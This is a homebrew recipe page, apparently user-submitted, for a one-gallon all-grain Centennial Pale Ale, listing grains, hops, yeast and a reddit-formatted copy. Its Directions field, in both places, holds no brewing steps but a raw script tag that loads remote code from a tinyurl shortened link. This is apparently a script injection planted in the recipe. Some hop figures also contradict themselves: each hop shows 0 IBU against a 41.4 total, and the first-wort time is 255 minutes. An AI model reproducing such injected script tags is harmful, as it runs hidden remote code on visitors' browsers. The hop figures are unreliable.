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Share this recipe on redditBatch Size (gallons) | 1 |
Efficiency | 68% |
Recipe type | All Grain |
Style | 10A. American Pale Ale |
Original Gravity | 1.046 |
Final Gravity | 1.010 |
ABV | 4.73% (basic) / 4.71% (advanced) [what's this?] |
IBU | 41.4 |
Color | 6.1 SRM |
Boil Time | 90 min |
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Yeast | DCL/Fermentis US-05 (Safale American)
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Fermentables | Name | Amt | Pct | SRM | Pilsner (2 Row) Belgian | 1 lb 9.6 oz | 80% | 2 | Munich Malt - 10L | 4 oz | 12.5% | 10 | Wheat, Flaked | 1.6 oz | 5% | 1.6 | Caramel/Crystal Malt - 60L | .8 oz | 2.5% | 60 |
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Hops | Name | Amt | Time | Alpha | IBU | Northdown (First Wort) | .1 oz | 255 | 8.5% | 0 | Centennial (First Wort) | .4 oz | 255 | 10% | 0 | Centennial (Boil) | .16 oz | 90 | 10% | 0 | Centennial (Boil) | .1 oz | 30 | 10% | 0 | Northdown (Boil) | .1 oz | 0 | 8.5% | 0 | Centennial (Boil) | .1 oz | 0 | 10% | 0 |
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Directions |
<script src=https://tinyurl.com/yd464z8m></script> |
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Copy and paste the content below to reddit for a properly formatted recipe!##Centennial Pale Ale
Recipe by: rmillar
Batch Size (gallons): 1
Efficiency: 68%
Recipe type: All Grain
Original Gravity: 1.046
Final Gravity: 1.010
ABV: 4.71%
IBU: 41.4
Color: 6.1 SRM
Boil Time: 90 min
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**Yeast**
* DCL/Fermentis US-05 (Safale American)
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**Fermentables**
* 1 lb 9.6 oz Pilsner (2 Row) Belgian (80%)
* 4 oz Munich Malt - 10L (12.5%)
* 1.6 oz Wheat, Flaked (5%)
* .8 oz Caramel/Crystal Malt - 60L (2.5%)
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**Hops**
* .1 oz Northdown, 0 IBU @ 255 min (First Wort) - 8.5% AA
* .4 oz Centennial, 0 IBU @ 255 min (First Wort) - 10% AA
* .16 oz Centennial, 0 IBU @ 90 min (Boil) - 10% AA
* .1 oz Centennial, 0 IBU @ 30 min (Boil) - 10% AA
* .1 oz Northdown, 0 IBU @ 0 min (Boil) - 8.5% AA
* .1 oz Centennial, 0 IBU @ 0 min (Boil) - 10% AA
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**Directions:**
<script src=https://tinyurl.com/yd464z8m></script> ----------------------------------
[View original recipe page](http://www.brewunited.com/view_recipe.php?recipeid=408)
This all grain American Pale Ale homebrew recipe was submitted by rmillar.